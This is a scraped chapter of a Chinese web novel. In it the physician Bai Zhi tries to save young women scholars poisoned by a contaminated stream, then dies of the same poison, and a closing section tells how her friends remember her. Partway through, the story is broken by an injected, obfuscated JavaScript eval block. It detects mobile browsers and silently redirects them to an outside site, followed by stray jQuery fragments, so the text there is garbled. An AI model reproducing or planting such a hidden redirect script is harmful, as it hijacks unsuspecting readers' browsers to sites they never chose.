默认冷灰
24号文字
方正启体

24. 牺牲:白芷中毒

作者:洛月不芷本书字数:K更新时间:
    承安十一年,五月十八。


    京城西郊,三十里外。


    一座废弃的山神庙里,挤着两百多人。


    都是女学子。


    三天前,皇帝的暗卫开始大规模搜捕。那些刚刚考完殿试的女学子,成了他们首要的目标。


    谢知微让沈醉和谢霜寒连夜进城,能救多少救多少。


    她们救了三百多个。


    一路跑,一路躲,跑到了这山神庙里。


    可路上死了几十个。


    被暗卫追上,杀了。


    剩下的人,又累又饿,挤在山神庙里,等着天亮。


    可天亮之前,还有一件事要面对。


    有人病了。


    很多人病了。


    山路难走,夜里又冷,她们跑了三天三夜,有人发了烧,有人咳了血,有人晕过去就没醒过来。


    白芷从昨天开始就没合过眼。


    她一个一个看过去,把脉,开方,让阿茴和阿苓去采药。


    可药不够。


    这荒山野岭的,能采的药有限。带来的药也用完了。


    苏锦跟在她身边,帮她打下手。


    递药,递水,递布。


    白芷忙得满头是汗,脸上却一直带着笑。


    “没事的,”她对那些姑娘说,“吃点药就好了。”


    可苏锦看得出来。


    她的脸色越来越白。


    从鹰愁涧回来之后,她的身体就没好过。禁术折了十年寿,这些年又连轴转,她早就撑不住了。


    “白芷,”苏锦说,“你歇会儿。”


    白芷摇摇头。


    “再等等,”她说,“看完这几个就歇。”


    她又看了三个。


    看完第四个,她站起来,忽然晃了一下。


    苏锦扶住她。


    “你不能再这样了!”


    白芷看着她,笑了笑。


    “没事,”她说,“我自己的身子,我知道。”


    她走到下一个姑娘身边。


    那姑娘烧得厉害,脸通红,嘴唇干裂。


    白芷把脉,眉头皱起来。


    “这不对……”她喃喃说,“这不是普通的伤寒。”


    苏锦问:“那是什么?”


    白芷没有回答。


    她凑近那姑娘的嘴边,闻了闻。


    又翻开她的眼皮,看了看。


    然后她的脸色变了。


    “毒。”她说,“她中毒了。”


    苏锦愣住了。


    “中毒?怎么会中毒?”


    白芷站起来,看着周围那些姑娘。


    一个一个看过去。


    “你们今天吃了什么?喝了什么?”


    有人回答:“就喝了点山泉水。”


    白芷问:“从哪里打的水?”


    那人指了个方向。


    白芷跑出去。


    山神庙后面,有一条小溪。


    溪水很清,潺潺地流着。


    白芷蹲下来,看着那溪水。


    溪边的草丛里,长着几株不起眼的野草。


    叶子上有细细的白毛。


    白芷的脸色彻底白了。


    “断肠草……”她喃喃说,“这是断肠草。”


    苏锦跟过来,问:“什么?”


    白芷说:“断肠草。毒草。它的根茎叶都有毒,尤其是开花的时候。现在正是五月,它开花了。”


    她指着那几株草。


    “它们长在溪边,根扎在水里。整条溪的水,都被污染了。”


    苏锦的脸也白了。


    “那……那些姑娘……”


    白芷站起来。


    “去告诉她们,别喝了。已经喝了的——”


    她没有说下去。


    可苏锦知道。


    已经喝了的,中毒了。


    白芷跑回去,开始一个个检查。


    喝过溪水的人,有三十二个。


    有的喝得多,有的喝得少。


    白芷让阿茴阿苓去采药——解毒的药。


    可她知道,来不及了。


    断肠草的毒,发作很快。


    最多三个时辰,就会死。


    她把那三十二个姑娘集中在一起,给她们灌药。


    一边灌,一边说:“没事的,没事的,吃点药就好了。”


    可她的手在发抖。


    因为她知道,这些药,救不了她们。


    只能拖时间。


    拖到能找到真正的解药。


    可真正的解药,需要一味主药——龙胆草。


    这山上,没有龙胆草。


    最近的药铺,在山下三十里外的镇上。


    可那里有暗卫。


    她不能去。


    她让阿茴和阿苓去。


    “快去快回,”她说,“一定要快。”


    阿茴和阿苓跑了。


    白芷守着那三十二个姑娘,看着她们的脸越来越红,呼吸越来越急。


    她的心,像被刀割一样。


    一个十四五岁的小姑娘,拉着她的手。


    “白大夫,我会死吗?”


    白芷摇摇头。


    “不会的。阿茴她们去采药了,很快就回来。”


    小姑娘点点头。


    可她的眼睛,已经有些涣散了。


    白芷握着她的手,握得紧紧的。


    一个时辰过去。


    两个时辰过去。


    阿茴和阿苓还没回来。


    已经有三个姑娘,停止了呼吸。


    白芷跪在她们身边,看着她们的脸。


    那么年轻的脸。


    十四五岁,十五六岁。


    刚考完殿试,刚走出那条路的第一步。


    就死在这里。


    死在断肠草的毒里。


    死在——


    她的眼泪掉下来。


    不是哭,是恨。


    恨自己救不了她们。


    恨自己学艺不精。


    恨自己为什么没有早点发现那些毒草。


    苏锦走过来,跪在她身边。


    “白芷,”她说,“不是你的错。”


    白芷摇摇头。


    “是我的错。”她说,“我是大夫。我应该发现的。”


    苏锦抱住她。


    “你是大夫,不是神仙。你救不了所有人。”


    白芷靠在她肩上,没有说话。


    第三十二个姑娘,死在她怀里。


    那姑娘只有十四岁,叫阿月。


    她临死前,拉着白芷的手,说:“白大夫,我……我想考女状元……”


    然后她的手,垂了下去。


    白芷抱着她,一动不动。


    苏锦在旁边,哭得说不出话。


    谢知微走进来,看见这一幕。


    她站在那里,没有说话。


    只是看着白芷。


    看着那个从死人堆里爬出来的女人。


    那个用禁术救了谢霜寒的女人。


    那个救了无数人、却救不了自己的女人。


    白芷把阿月放下,站起来。


    她的脸上没有泪。


    只是很白。


    白得像纸。


    她走到谢知微面前。


    “谢相,”她说,“那些姑娘,死了三十二个。”


    谢知微点点头。


    “我知道。”


    白芷说:“是因为我。我没发现那些毒草。”


    谢知微摇摇头。


    “不是因为妳。是因为我们。是我们把她们带到这里来的。”


    白芷看着她。


    谢知微说:“我们以为救了她们,可我们还是没能救得了。”


    白芷沉默了一会儿。


    然后她说:“谢相,我有个请求。”


    谢知微说:“你说。”


    白芷说:“女科,一定要成。哪怕我死了,也要成。”


    谢知微看着她。


    白芷说:“那些姑娘,她们是为了这条路死的。我也是。我爹也是。我娘也是。我弟弟妹妹也是。”


    她的声音很平静。


    平静得像在说别人的事。


    “我学了二十年医。救过很多人。可我没能救得了她们。”


    她顿了顿。


    “所以妳得替我救。救更多的人。让这条路,走下去。”


    谢知微握住她的手。


    “好。”她说,“我答应妳。”


    白芷笑了。


    笑得很轻,很淡。


    然后她转过身,走到那些死去的姑娘身边。


    一个一个,把她们的眼睛合上。


    “阿月,”她轻声说,“妳等着。那条路,会有人替妳走完的。”


    苏锦走过来,站在她身边。


    “白芷,”她说,“你脸色不好。歇会儿吧。”


    白芷摇摇头。


    “没事,”她说,“我自己的身子,我知道。”


    她又去照顾那些还活着的姑娘。


    那些中毒轻的,还能救的。


    一直忙到天黑。


    天黑的时候,阿茴和阿苓回来了。


    她们跑了三十里山路,从镇上药铺买来了龙胆草。


    可她们回来的时候,白芷已经不行了。


    她倒在那三十二个姑娘旁边。


    脸色白得像纸。


    嘴唇发青。


    苏锦跪在她身边,抱着她。


    “白芷!白芷!”


    白芷睁开眼睛,看着她。


    “苏锦……”她的声音很轻,轻得像风。


    苏锦哭着说:“你怎么了?你刚才还好好的!”


    白芷笑了。


    “我刚才……去看那些毒草……不小心碰到了……”


    苏锦愣住了。


    “你……你碰了断肠草?”


    白芷点点头。


    “我想看看……有没有别的办法……结果……”


    她没有说完。


    可苏锦明白了。


    她去看那些毒草,想找出更多的解毒办法。


    结果自己也中了毒。


    而且,她的身子本来就弱。


    禁术折了十年寿,这些年又没好好休息。


    这点毒,别人可能扛过去。


    可她扛不过去。


    “你这个蠢女人!”苏锦哭着喊,“你为什么要去碰那些东西!”


    白芷看着她。


    “因为……”她说,“因为我得救她们……”


    苏锦抱着她,哭得喘不过气。


    白芷抬起手,摸了摸她的脸。


    “苏锦,”她说,“别哭了。我早就知道……会有这一天的。”


    苏锦摇头。


    “不!你不会死的!我让阿茴阿苓再去采药!我去找大夫!”


    白芷笑了。


    “傻丫头,”她说,“我自己就是大夫。”


    苏锦愣住了。


    是啊。


    她自己就是大夫。


    她知道自己的命,还有多久。


    白芷说:“苏锦,我跟你说过的话,你还记得吗?”


    苏锦哭着点头。


    白芷说:“我说过,下辈子,还让你骂。”


    苏锦点点头。


    白芷笑了。


    “那这辈子,你就骂够了。下辈子,换个新的骂法。”


    苏锦趴在她身上,哭得说不出话。


    谢知微走过来。


    她蹲下来,看着白芷。


    白芷也看着她。


    “谢相,”白芷说,“女科……要成……哪怕我死……”


    谢知微握着她的手。


    “会的。”她说,“一定会成的。”


    白芷点点头。


    她又看着那些还活着的姑娘。


    看着那些她救回来的人。


    看着阿茴,看着阿苓。


    阿茴和阿苓跪在她身边,哭成泪人。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334429|199218||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“姐姐!姐姐!”


    白芷看着她们。


    这两个孩子,是她从死人堆里扒出来的。


    养了六年。


    从五岁养到十一岁。


    从不会说话养到现在能帮她采药。


    “阿茴,”她说,“照顾好阿苓。”


    阿茴哭着点头。


    “阿苓,”她说,“好好学医。别学姐姐这么蠢。”


    阿苓哭着点头。


    白芷笑了。


    笑得很累。


    她又看着苏锦。


    苏锦的脸,已经哭花了。


    可她还是那么好看。


    那个狐狸一样的女人,那个骂她“蠢女人”骂了这么多年的女人。


    “苏锦,”她轻声说,“这辈子,谢谢你。”


    苏锦摇头。


    “不要谢!我不要你谢!我要你活着!”


    白芷说:“活着……我也想活着……可老天不让……”


    她的声音越来越轻。


    “你替我跟谢霜寒说一声……她那十年命……我替她活了……不欠了……”


    苏锦点头。


    “还有沈醉……她的酒……我喝不了了……”


    苏锦点头。


    “还有云娘……她的梅花……我看不见了……”


    苏锦点头。


    “还有花解语……她的琴……我听不到了……”


    苏锦点头。


    最后,她又看着谢知微。


    “谢相,”她说,“我留下的医书……在医谷……你帮我……交给那些学医的女子……”


    谢知微点头。


    “会的。一定会的。”


    白芷笑了。


    “那就好……”


    她的手,慢慢垂下去。


    眼睛,慢慢闭上。


    脸上,还带着笑。


    苏锦抱着她,一动不动。


    像抱着这世上最珍贵的东西。


    谢知微站起来,走到一边。


    她没有哭。


    只是站在那里,看着外面的夜色。


    夜色很深。


    很黑。


    可她知道,天亮之后,一切都会不一样。


    因为白芷不在了。


    可她的路,还在。


    那些姑娘,会替她走下去。


    那些医书,会替她传下去。


    那条路,会替她铺下去。


    天亮的时候,阿茴和阿苓把白芷埋在山神庙后面。


    没有碑。


    只有一棵小树。


    苏锦在那棵小树旁边,放了一样东西。


    是那支银簪。


    她妹妹苏绣的遗物。


    “白芷,”她轻声说,“你替我照顾绣儿。她小,不懂事。你多教教她。”


    风吹过来,树枝摇了摇。


    像是有人在点头。


    苏锦笑了。


    笑着笑着,眼泪流下来。


    可她没有哭出声。


    只是站在那里,看着那棵小树。


    看了很久。


    很久。


    ---


    一个月后。


    京城,城东。


    新开的医馆,叫“白芷堂”。


    是阿茴和阿苓开的。


    门口挂着一块匾,是云娘绣的。


    绣的是梅花。


    一朵白梅。


    医馆里,最显眼的地方,供着一本书。


    《白氏医典》。


    是白芷留下的医书。


    每天都有女医师来拜。


    她们说,这是“医中圣典”。


    是那个用命救人的女人,留给她们的。


    书的扉页上,写着一行字:


    “女子学医,自救救人。吾虽死,医道不灭。”


    落款是:白芷。


    来拜的人,看着那行字,都会站一会儿。


    没有人说话。


    可她们心里,都记着一个人。


    一个叫白芷的女人。


    一个用十年命换别人活的女人。


    一个死在救人的路上的女人。


    一个让她们走上这条路的女人。


    医馆后院,有一棵小树。


    没有人知道那是什么树。


    只知道阿茴和阿苓每天都要去浇水。


    有时候,苏锦会来。


    她来了,就站在那棵小树旁边,不说话。


    站一会儿,就走了。


    有时候,谢霜寒会来。


    她也站在那里,不说话。


    可她的手,一直按着剑柄。


    像是在说:你放心,该杀的人,我一个都不会放过。


    有时候,沈醉会来。


    她拎着一坛酒,倒一半在那棵小树旁边,自己喝一半。


    “白芷,”她说,“这酒,敬你。”


    有时候,云娘会来。


    她看不见那棵小树,可她摸得到。


    她摸着那些树叶,轻轻说:“白芷,梅花开了。”


    有时候,花解语会来。


    她抱着琴,坐在那棵小树旁边,弹一曲《广陵散》。


    弹完,她站起来,说:“白芷,你听见了吗?”


    没有人回答。


    可风吹过来,树叶沙沙响。


    像是有人在说:听见了。


    谢知微最后一次来的时候,是一个人。


    她站在那棵小树旁边,站了很久。


    然后她从怀里摸出一样东西。


    是白芷的那本医书。


    扉页上那行字,她已经看过很多遍。


    可每次看,还是觉得刺眼。


    “吾虽死,医道不灭。”


    她轻声念了一遍。


    然后把医书合上,放回怀里。


    抬起头,看着那棵小树。


    “白芷,”她说,“女科成了。”


    风吹过来,树叶沙沙响。


    像是在笑。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)